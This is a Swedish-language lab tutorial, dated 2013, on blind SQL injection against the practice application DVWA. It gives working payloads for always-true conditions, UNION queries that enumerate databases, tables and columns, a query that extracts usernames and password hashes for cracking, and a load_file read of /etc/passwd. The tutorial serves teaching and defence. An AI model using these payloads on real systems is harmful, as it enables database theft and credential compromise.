Sec24 – SQL Injection (Blind)

Av: Oscar Andersson, Sec24, 2013-04-12

OBS:  Följande guider är enbart för utbildningssyfte och får absolut inte användas för olagliga ändamål.

Denna guide utgår ifrån att du har satt upp en DVWA – Damn Vulnerable Web Application och nu är ansluten till denna. Vet du inte hur du gör är det bara att följa denna guide. Sätta upp en testmiljö.

När du väl är inloggad börjar du med att trycka på fliken DVWA Security. Här kan du välja vilken säkerhetsnivå hemsidan ska ha. I den här introduktionsguiden sätter vi säkerhetsnivån till low och trycker på submit.

Efter det går vi in på SQL Injection fliken. SQL Injection definition enligt wikipedia: “SQL-injektion (engelska SQL injection) är ett sätt att utnyttja säkerhetsproblem i hanteringen av indata i vissa datorprogram som arbetar mot en databas. Injektionen sker genom att en användare skickar in parametrar till en databasfråga, utan att parametrarna transformeras korrekt med avseende på speciella tecken, som escapesekvenser. Med anpassade parametrar kan en användare kringgå inloggningssystem och manipulera data. Metoden har fått sitt namn av databasfrågespråket SQL.”

Det första en hacker normalt sett gör är att testa om hemsidan genererar någon felkod genom att skicka en ‘ eller liknande kod till servern. Även kallat Error Based SQL Injection. Skickar vi ett enkelt citationstecken på en hemsida som är mottaglig för Blind SQL Injection får vi inte fram någon felkod. Därav kallas det för Blind SQL Injection.

För er som inte är bevandrade i SQL kan ni läsa en kort introduktion på följande länk. Introduktion till frågespråket SQL

Trycker vi på source och ser SQL syntaxen ser vi varför:

SQL Injection (Blind) Source DVWA Sec24

 

$result = mysql_query($getid); Används för att motverka både ‘ och die’ mysql errors. Mer info här.

$num = @mysql_numrows($result); ‘@’-tecknet används för att inga fel ska returneras och därav göra injektionen blind. Mer info här.

Vi provar nu att att skicka ett meddelande som alltid returnerar ett sant värde till databasen. Vi skriver nu in:

 or ‘a’=’a

Det skickar följande syntax till databasen.

SELECT first_name, last_name FROM users WHERE user_id = ‘ ‘ or ‘a’=’a ‘

En god idé kan även vara att testa SQL syntax direkt i databasen. Detta görs enklast genom phpMyAdmin och ger bättre förståelse för vad som händer.

Om vi inte vet hur SQL frågan exakt ser ut kan följande syntax ge samma resultat:

‘ or 1=1–
” or 1=1–
or 1=1–
‘ or ‘a’=’a
” or “a”=”a
‘) or (‘a’=’a

Vi kör följande kod för att få fram databasversionen.

Select version() eller Select @@version

För att slå ihop Select-satserna använder vi oss av en UNION för att försöka få fram databasversionen.

‘ union select @@version#

Hash (#) används för att kommentera bort efterföljande SQL kod.

Returnerar inget resultat vilket innebär att något är fel, förmodligen att Selectsatserna inte returnerar lika många kolumner. Antingen kan vi nu öka antalet kolumner gradvis eller använda oss av ett NULL-värde. Detta då NULL-värden kan motsvara vilken datatyp som helst.

‘ union select 1,@@version#

‘ union select null,@@version#

Båda frågorna returnerar samma svar.

När vi vet versionen tar vi nu reda på hostname med följande kod:

‘ union select null,@@hostname #

Nästa steg är att ta reda på databasanvändarna. Det finns tre olika frågor för detta ändamål. Nämligen:

SELECT user();

SELECT current_user(); eller bara SELECT current_user;

SELECT system_user();

Vi skickar följande uppgifter till servern via sökrutan: ‘ union all select current_user(),user() #

Nu vet vi att användaren är root@localhost. Vi ska även passa på att få fram databasnamnet. Det gör vi med frågan: ‘ union select null,database() #

Vi ser här att databasnamnet är dvwa.

I nästa steg ska vi ta ut alla tillgängliga databaser genom att använda oss av information_schema. Koden vi ska använda oss av är följande:

‘ union select null,schema_name from information_schema.schemata #

Det kan tyckas konstigt att vi kan få ut all denna information men om vi granskar frågan blir det klarare. Information schema lagrar information om databaserna och tabeller, kolumner, procedures etc som finns. Denna information kan vi extrahera vare sig vi är administratör eller ej. Om vi loggar in på phpMyAdmin ser vi att svaren motsvarar våra databaser som finns där.

Om vi ska dissekera koden ytterligare betyder följande syntax, schema_name from information_schema.schemataföljande när den skickas till databasen: SELECT schema_name FROM information_schema.schemata

När vi vet databaserna kan vi även försöka få fram tabellerna som lagras i information_schema. Det görs med input:

‘ union select null,table_name from information_schema.tables #

Ett kort utdrag nedan av alla tabeller som finns.

Om vi vill hämta tabeller från en specifik databas använder vi oss av en where fråga. Kodexempel nedan på tabellerna i phpmyadmin databasen.

‘ union select null,table_name from information_schema.tables where table_schema = ‘phpmyadmin’ #

Ovan var ett exempel för att visa att när vi väl tagit oss in i databasen kommer vi åt all information och inte enbart sådant som är kopplat till den specifika webbapplikationen. Som vi såg tidigare hämtade formuläret data från databasen dvwa. Vi går nu vidare och extraherar vilka tabeller som finns i den. Det enda vi behöver göra från föregående syntax är att byta phpmyadmin mot dvwa.

‘ union select null,table_name from information_schema.tables where table_schema = ‘dvwa’ #

Vi vill nu få fram alla kolumner i tabellen users. Det gör vi med följande kod:

‘ union select null,column_name from information_schema.columns where table_name = ‘users’ #

Ofta används sammanbindning av textsträngar (String concatenation) för att binda ihop flera strängar till en sträng. Det passar oss bra när vi vill få fram användaren samt lösenordet. I SQL används syntaxen concat för sammanbindning. För att inte allt ska skrivas ihop används ofta avskiljaren : (kolon). För att databasen ska förstå vad vi menar använder vi ASCII-kod.

: = 0x3a

‘ union select null,concat(user,0x3a,password) from users #

Nedan har vi nu användarna och deras lösenord (krypterade) utskrivna.

(Lösenord i nedanstående form kallas lösenordshashar)

Beroende på hur starkt lösenordet är, vilken kryptering och salt som används så är det olika svårt att knäcka lösenordshashen. I det här fallet går de att få fram lösenorden på några sekunder genom att kopiera in hasharna på siten md5decrypter.co.uk. Det här var lika mycket en guide i hur simpel SQL Injection går till som det var för att visa hur viktigt det är att en hemsida är ordentligt skyddad. Det räcker med ett oskyddat formulär så kan en hackare få tillgång till en hel databas med allt vad den innehåller såsom kundregister och användarregister. Som visas nedan så kan en hackare till och med läsa filer direkt från servern om det vill sig riktigt illa.

Några till enkla kommandon:

För att få fram var på serven databasen ligger kan vi köra följande kommando:

‘ union select null,@@datadir #

Vi kan även försöka läsa filer från servern. På Linux-distributioner är målet ofta /etc/passwd där lösenord kan finnas lagrade. Koden för detta ändamål är följande:

‘ union all select load_file(‘/etc/passwd’),null #